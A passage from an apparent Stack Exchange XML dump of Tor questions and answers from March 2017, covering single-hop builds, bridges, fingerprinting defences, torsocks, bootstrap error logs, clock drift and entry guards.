CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14239" PostTypeId="1" AcceptedAnswerId="14242" CreationDate="2017-03-04T06:54:58.303" Score="3" ViewCount="716" Body="&lt;p&gt;I downloaded the Tor source. I could compile it and run it with the changes to the or.h file creating a single hop for better tor speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As explain in this topic: &lt;a href=&quot;https://tor.stackexchange.com/questions/1312/how-to-decrease-number-of-tor-hops&quot;&gt;How to decrease number of Tor hops?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after compilation. I don't know how to use the newly compiled and installed Tor without using the Tor bundle. And apparently the tor bundle comes with all the tor and stuff in it. So it doesn't use Single hop.&#xA;Soo....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to configure the tor bundle to use Single Hop?&#xA;OR&#xA;How do you make use of a Tor compiled and installed from its tor-0.2.9.10.tar.gz source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can I make changes to the Tor Bundle Source to create single hops.&lt;/p&gt;&#xA;" OwnerUserId="16548" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-04-12T14:16:36.790" Title="Tor Browser Bundle Single-Hop" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="1" CreationDate="2017-03-04T09:58:10.283" Score="1" ViewCount="799" Body="&lt;p&gt;I have installed tor-browser in tiny core linux VM. It is installed but the browser is not opening. According to the site, it say's to simply download and run the start-tor-browser executable file. But it isn't working.Can anyone help me with the installation steps?&lt;/p&gt;&#xA;" OwnerUserId="16549" LastActivityDate="2017-03-04T09:58:10.283" Title="Tor Browser in Tiny core linux Virtual Machine" Tags="|linux|" AnswerCount="0" CommentCount="1" ClosedDate="2017-03-08T19:47:51.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="14241" PostTypeId="1" AcceptedAnswerId="14243" CreationDate="2017-03-04T12:55:51.913" Score="1" ViewCount="539" Body="&lt;p&gt;The ISP has contracted a service that captures bridges@ and BridgeDB.&#xA;Meek works but the connection is very slow (60~100 kbps).&#xA;How do I get obfs4 bridges that they cannot capture?&lt;/p&gt;&#xA;" OwnerUserId="16322" LastActivityDate="2017-03-04T19:04:56.330" Title="My ISP is holding all the bridges" Tags="|bridge|orbot|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14242" PostTypeId="2" ParentId="14239" CreationDate="2017-03-04T18:56:52.407" Score="2" Body="&lt;p&gt;Simply replacing the &lt;code&gt;tor&lt;/code&gt; binary included with the Tor Browser with the one that you have built would work, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cp ~/tor-0.2.9.10/src/or/tor ~/tor-browser_en-US/Browser/TorBrowser/Tor/tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will mean that when Tor Browser starts, it will launch your modified copy of Tor rather than that included with it.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-04T18:56:52.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14243" PostTypeId="2" ParentId="14241" CreationDate="2017-03-04T19:04:56.330" Score="1" Body="&lt;p&gt;Bridges that are not listed in BridgeDB are distributed manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such you'd need to know someone or some organisation running such a bridge and contact them to request usage of it and obviously they'd have to actually trust you (i.e. that you weren't trying to find out the bridge address to censor it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it unlikely your ISP has such a contract (there are easier paths to take and I doubt you've tested every bridge in bridgedb), but I'd love to know more if you have more information on that.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-04T19:04:56.330" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="1" CreationDate="2017-03-05T02:52:19.957" Score="1" ViewCount="288" Body="&lt;p&gt;&lt;a href=&quot;https://thehackernews.com/2017/02/cross-browser-tracking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://thehackernews.com/2017/02/cross-browser-tracking.html&lt;/a&gt; describes a  a cross-browser fingerprinting technique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can Tor Browser can do to defeat this?&lt;/p&gt;&#xA;" OwnerUserId="16556" LastEditorUserId="88" LastEditDate="2017-03-17T10:17:52.027" LastActivityDate="2017-06-12T21:32:25.670" Title="Does cross-browser fingreprinting work in Tor Browser?" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14248" PostTypeId="2" ParentId="14246" CreationDate="2017-03-05T05:12:28.803" Score="4" Body="&lt;p&gt;All of those are already dealt with, with the exception of AudioContext which may get a similar treatment as canvas fingerprinting has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13017&quot; rel=&quot;nofollow noreferrer&quot;&gt;#13017&lt;/a&gt;. Update: Tor Browser 7.0 disabled AudioContext fingerprinting by setting the new &lt;code&gt;dom.webaudio.enabled&lt;/code&gt; option to &lt;code&gt;false&lt;/code&gt; as a stop-gap measure, so this vector is also no longer fingerprintable by default.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The features tested currently includes time zone, number of CPU cores, GPU, hash values of GPU rendering results, plugins, fonts, audio, screen ratio and depth, WebGL, Ad blocking, canvas, cookies, encoding, and language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disabling javascript will fix most of these issues, which are not already handled. Infact the &lt;a href=&quot;https://drive.google.com/file/d/0B4s900Byvv1ibW5uc1NiU2g3R3c/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper itself says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser normalizes many browser outputs to mitigate&#xA;  existing browser fingerprinting. That is, many features are&#xA;  unavailable in Tor Browsers—based on our test, only the&#xA;  following features, notably our newly proposed, still exist,&#xA;  which include the screen width and height ratio, and audio&#xA;  context information (e.g., sample rate and max channel count).&#xA;  We believe that it is easy for Tor Browser to normalize these&#xA;  remaining outputs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-06-12T21:32:25.670" LastActivityDate="2017-06-12T21:32:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14249" PostTypeId="1" CreationDate="2017-03-05T05:28:22.763" Score="2" ViewCount="59" Body="&lt;p&gt;I'm thinking of having JavaScript code send messages to my server. How do I go about it? Is there a better way?&#xA;Edit: How do I find out the exact duration for which a Tor circuit exists before changing?&lt;/p&gt;&#xA;" OwnerUserId="16558" LastEditorUserId="16563" LastEditDate="2017-03-06T03:27:17.633" LastActivityDate="2017-03-06T03:27:17.633" Title="How do I verify the Tor Circuit duration?" Tags="|tor-browser-bundle|circuit|guard-node|" AnswerCount="0" CommentCount="1" ClosedDate="2017-03-08T19:47:29.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="14251" PostTypeId="1" AcceptedAnswerId="14252" CreationDate="2017-03-05T17:07:47.467" Score="3" ViewCount="1689" Body="&lt;p&gt;I wish to use tor on the command line in conjunction with wget, ssh, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation that I have seen regarding this recommends installing the tor package (&lt;code&gt;apt install tor&lt;/code&gt; / &lt;code&gt;yum install tor&lt;/code&gt;) and then running the relevant program prepended with &lt;code&gt;usewithtor&lt;/code&gt; eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usewithtor wget example.com/index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having tried this on both debian and rhel distros I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usewithtor: command not found..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has this commmand now been deprecated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help / guidance appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16566" LastActivityDate="2017-03-05T17:43:21.093" Title="usewithtor: command not found" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14252" PostTypeId="2" ParentId="14251" CreationDate="2017-03-05T17:43:21.093" Score="4" Body="&lt;p&gt;&lt;code&gt;usewithtor&lt;/code&gt; is deprecated, you want to use &lt;code&gt;torsocks&lt;/code&gt; in it's place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously there were various incarnations, the commands were kept for backwards compatibility but &lt;code&gt;torsocks&lt;/code&gt; is what &lt;code&gt;torify&lt;/code&gt;/&lt;code&gt;usewithtor&lt;/code&gt; have just been a wrapper around for some time now.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-05T17:43:21.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14253" PostTypeId="1" CreationDate="2017-03-06T03:45:02.063" Score="6" ViewCount="16000" Body="&lt;p&gt;When I open TorBrowser 7.0a1 or 6.5 on my MacBook Pro with Sierra X.12.3, I get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor exited during startup. This might be due to an error in your torrc&#xA;  file, a bug in Tor or another program on your system, or faulty&#xA;  hardware. Until you fix the underlying problem and restart Tor, Tor&#xA;  Browser will not start.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried deleting the app and re-download it again, but I get the same result. I have no idea what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andre&lt;/p&gt;&#xA;" OwnerUserId="16564" LastEditorUserId="3471" LastEditDate="2017-03-08T19:48:42.943" LastActivityDate="2020-05-02T21:10:30.367" Title="Tor exited during startup" Tags="|tor-browser-bundle|mac|startup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" CreationDate="2017-03-06T16:34:00.967" Score="1" ViewCount="239" Body="&lt;p&gt;Can anyone help me out. My Tor Browser was working perfectly fine until I did an update for my windows 7 laptop. Now i keep getting an error message mentioning failing to establish connection.&#xA;I have even tried using the pre-installed bridge , which still didn't work. Also my clock time is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06/03/2017 16:04:26.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:04:26.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:04:26.900 [NOTICE] Renaming old configuration file to &quot;C:\Users\Ajid\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;06/03/2017 16:04:27.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;06/03/2017 16:04:27.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;06/03/2017 16:06:27.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:27.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:27.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;06/03/2017 16:06:29.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:38.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:38.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:06:38.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:38.700 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;06/03/2017 16:06:47.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:06:47.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:06:47.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:06:47.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:06:55.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host BBB28DF0F201E706BE564EFE690FE9577DD8386D at 109.105.109.147:13764) &#xA;06/03/2017 16:06:55.200 [WARN] 10 connections have failed: &#xA;06/03/2017 16:06:55.200 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/03/2017 16:06:55.200 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;06/03/2017 16:07:02.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host 8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E at 109.105.109.165:10527) &#xA;06/03/2017 16:07:02.900 [WARN] 11 connections have failed: &#xA;06/03/2017 16:07:02.900 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/03/2017 16:07:02.900 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;06/03/2017 16:07:02.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:07:02.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2017 16:07:02.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2017 16:07:02.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host 7B126FAB960E5AC6A629C729434FF84FB5074EC2 at 192.99.11.54:443) &#xA;06/03/2017 16:07:02.900 [WARN] 12 connections have failed: &#xA;06/03/2017 16:07:02.900 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/03/2017 16:07:02.900 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;06/03/2017 16:07:02.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host CDF2E852BF539B82BD10E27E9115A31734E378C2 at 192.95.36.142:443) &#xA;06/03/2017 16:07:02.900 [WARN] 16 connections have failed: &#xA;06/03/2017 16:07:02.900 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/03/2017 16:07:02.900 [WARN]  3 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;06/03/2017 16:07:02.900 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16579" LastEditorUserId="88" LastEditDate="2017-03-17T10:40:06.713" LastActivityDate="2017-03-17T10:40:06.713" Title="Tor failed to establish a Tor network connection. Establishing an encrypted directory connection failed (done - 0.0.2.0:3)" Tags="|windows|help|bridge|vpn|dns|" AnswerCount="0" CommentCount="0" ClosedDate="2017-05-09T12:02:29.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="14257" PostTypeId="1" CreationDate="2017-03-06T17:42:57.410" Score="1" ViewCount="1076" Body="&lt;p&gt;After installing the Tor browser from Tor project on my Mac, I got the following error when I attempted to go to a web site:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The proxy server is refusing connections . &#xA;  Firefox is configured to use a proxy server that can't be found . &#xA;  check proxy settings ...  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Manual settings&#xA;  SOCKS Host 127.0.0.1 Port: 9150&#xA;  SocksV5 is checked, remote DNS is checked&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried several other options to no avail.&#xA;How do I know what to use here?&lt;/p&gt;&#xA;" OwnerUserId="16581" LastActivityDate="2017-06-27T16:47:30.613" Title="proxy error after installing Tor browser on Mac" Tags="|configuration|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14258" PostTypeId="2" ParentId="13935" CreationDate="2017-03-07T10:02:46.770" Score="1" Body="&lt;p&gt;You have confused two things. Tor is designed to protect the anonymity of a person who uses the Tor network to connect to a remote site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network does not, and cannot, protect the anonymity of a person who runs a relay. Why not? Because when you run a relay, your IP must be publicized to the Tor network so that your relay can be used in the construction of Tor circuits. Once your IP is publicized, someone will easily figure out who it is who is running the relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for some reason, it is illegal to run a Tor relay in the place where you live, don't do it! Help Tor in some other way, perhaps by donating to someone who &lt;em&gt;can&lt;/em&gt; legally run a relay the money that you would have spent on running one yourself.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2017-03-07T10:02:46.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14259" PostTypeId="1" CreationDate="2017-03-07T16:58:24.030" Score="0" ViewCount="1727" Body="&lt;p&gt;when i am trying to connect to Tor browsers. It get stuck in the middle. And in the bottom title &quot;Copy Tor log to Clipboard&quot; comes out. Please Help me out with that. I have pressed copy Tor log to clipboard and this is what comes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07/03/2017, 16:54:43.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07/03/2017, 16:54:43.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07/03/2017, 16:54:43.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07/03/2017, 16:54:43.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;07/03/2017, 16:54:43.200 [NOTICE] Renaming old configuration file to &quot;/Users/user/Desktop/TorBrowser-Data/Tor/torrc.orig.1&quot; &#xA;07/03/2017, 16:54:44.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;07/03/2017, 16:54:44.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;07/03/2017, 16:54:44.100 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;07/03/2017, 16:54:44.200 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;07/03/2017, 16:54:44.200 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;07/03/2017, 16:54:44.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;07/03/2017, 16:54:44.700 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;07/03/2017, 16:54:44.900 [WARN] Our clock is 5 minutes, 16 seconds behind the time published in the consensus network status document (2017-03-07 16:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;07/03/2017, 16:54:44.900 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;07/03/2017, 16:57:18.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;07/03/2017, 16:57:18.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;07/03/2017, 16:57:18.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;07/03/2017, 16:57:18.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16593" LastEditorUserId="9291" LastEditDate="2017-03-07T23:28:31.883" LastActivityDate="2017-03-18T01:41:53.120" Title="Unable to load Tor website. Copy Tor log to clipboard" Tags="|help|time|connection|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-08T19:47:41.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="14260" PostTypeId="1" CreationDate="2017-03-07T21:47:24.253" Score="1" ViewCount="2386" Body="&lt;p&gt;When attempting to upload a profile photo to Twitter, I inadvertently selected an option from a notification from the Tor browser that stopped my ability to upload photos from my personal computer to Twitter (it said that by uploading the photo, my computer would be at risk of being identified). Now when I try to to upload a profile photo, the space appears blank. How to I get back to the options on Tor to allow the browser to upload pictures from my computer to Twitter?   &lt;/p&gt;&#xA;" OwnerUserId="16596" LastEditorUserId="88" LastEditDate="2017-03-20T12:24:59.730" LastActivityDate="2019-12-05T01:10:10.257" Title="How to re-enable photo uploading for Twitter" Tags="|help|html5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14261" PostTypeId="2" ParentId="14259" CreationDate="2017-03-07T23:32:19.067" Score="0" Body="&lt;p&gt;The answer is in your logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07/03/2017, 16:54:44.900 [WARN] Our clock is 5 minutes, 16 seconds behind the time published in the consensus network status document (2017-03-07 16:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to synchronize your time using NTP or a local GPS receiver: big time drift is a blocker to enter a Tor network, and for a good reason - cryptography and signature verification is relying on precise &lt;em&gt;and&lt;/em&gt; synchronized time on &lt;em&gt;both&lt;/em&gt; sides. But be warned: sometimes an attackers(including ISP's and censorship guys) are using NTP to de-synchronize your local time and put you out of the network. So if you need a stronger protection - use a GPS module &lt;em&gt;with&lt;/em&gt; PPS signal, it will make your clock precisely set by a satellite signals.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-03-18T01:41:53.120" LastActivityDate="2017-03-18T01:41:53.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14262" PostTypeId="2" ParentId="14260" CreationDate="2017-03-08T02:45:51.070" Score="2" Body="&lt;p&gt;Twitter uses a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; object to allow the user to trim/resize their avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser will by default block this because it can be misused to fingerprint users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to get the prompt back will be to restart Tor Browser or use the New Identity button and restart the process of uploading a new avatar, note that by the time Twitter prompts you about it you may already need to go back to the start of uploading a new avatar because the prompt comes up after it's made the attempt to read the &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restart Tor Browser -&gt; Login to Twitter -&gt; Upload image -&gt; Choose &quot;Allow in Future&quot; -&gt; Upload image &lt;em&gt;again&lt;/em&gt; -&gt; Done&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-08T02:45:51.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14264" PostTypeId="1" AcceptedAnswerId="14268" CreationDate="2017-03-08T10:52:11.153" Score="1" ViewCount="255" Body="&lt;p&gt;I get this warning when trying to launch the start-tor-browser.desktop&#xA;from Xubuntu 16.&#xA;I've tried Marking as Executable and Launch Anyway options and am prevented from ticking the Allow to run as an executable in the Permissions properties box.&#xA;Can anyone throw any light on this, please.&#xA;I would just add that I was unable to verify the package with the key.&#xA;I made a mess of trying to do that.&#xA;Thanks,&#xA;Bob F.&lt;/p&gt;&#xA;" OwnerUserId="16604" LastEditorUserId="3471" LastEditDate="2017-03-08T19:48:36.333" LastActivityDate="2017-03-08T19:48:36.333" Title="Untrusted application using Xubuntu 16" Tags="|tor-browser-bundle|configuration|linux|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-18T14:17:26.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="14265" PostTypeId="2" ParentId="14148" CreationDate="2017-03-08T15:30:33.247" Score="0" Body="&lt;p&gt;Rather than using Google, you can use DuckDuckGo which has a Tor hidden service so no exit nodes are used: &lt;strong&gt;3g2upl4pq6kufc4m.onion&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2017-03-08T15:30:33.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14266" PostTypeId="2" ParentId="14227" CreationDate="2017-03-08T15:59:28.890" Score="1" Body="&lt;p&gt;Their app requires javascript to stream the segments.  Eg:&#xA;&lt;a href=&quot;https://hdvodsrforigin-f.akamaihd.net/i/vod/sport_clip/2016/12/sport_clip_20161216_090437_v_webcast_h264_,q40,q10,q20,q30,q50,q60,.mp4.csmil/segment7_5_av.ts?start=0&amp;amp;end=129.28&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hdvodsrforigin-f.akamaihd.net/i/vod/sport_clip/2016/12/sport_clip_20161216_090437_v_webcast_h264_,q40,q10,q20,q30,q50,q60,.mp4.csmil/segment7_5_av.ts?start=0&amp;amp;end=129.28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could hypothetically be downloaded and watched in VLC, but you'd need to write a script, and deal with whatever captchas / anti-DDOS setup they have, so not worth it probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a partial list of segments I got from Chrome:&#xA;&lt;code&gt;&#xA;segment7_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment4_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment10_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment12_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment9_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment2_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment5_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment6_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment11_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment3_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment8_5_av.ts?start=0&amp;amp;end=129.28&#xA;segment13_5_av.ts?start=0&amp;amp;end=129.28&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2017-03-08T15:59:28.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14268" PostTypeId="2" ParentId="14264" CreationDate="2017-03-08T17:47:22.400" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would just add that I was unable to verify the package with the key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the package was not verified, there is no way to be sure this is actually the Tor browser.  I'd suggest starting over and this time:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download the Tor browser&lt;/a&gt; and the appropriate signature file (same page).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Verify the signature&lt;/a&gt; using the &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;developer's PGP key&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;Expand the tar file and run the program&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are going to use Tor, it makes sense to do it right.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2017-03-08T17:47:22.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="1" AcceptedAnswerId="14280" CreationDate="2017-03-08T18:00:42.473" Score="1" ViewCount="2215" Body="&lt;p&gt;As it is said in the Tor FAQ: &quot;each Tor client selects a few relays at random to use as entry points, and uses only those relays for her first hop.&quot; These relays are known as &quot;entry guards&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read many things about this: For example, that &quot;every client picks 3 guard nodes and keeps them for 2 to 3 months&quot;. But I've also read that Tor is currently thinking of setting up a single entry guard node (Proposal 236: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/236-single-guard-node.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/proposals/236-single-guard-node.txt&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, CURRENTLY, in the version 0.2.9.10, how many 'entry guards' are chosen and for how long are they maintained? And another question: does the &quot;NumEntryGuards&quot; option affect this list of nodes?&lt;/p&gt;&#xA;" OwnerUserId="15985" LastEditorUserId="15985" LastEditDate="2017-03-12T17:51:08.830" LastActivityDate="2017-03-12T17:51:08.830" Title="Currently, how many entry guards does Tor choose and for how long are they maintained?" Tags="|guard|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
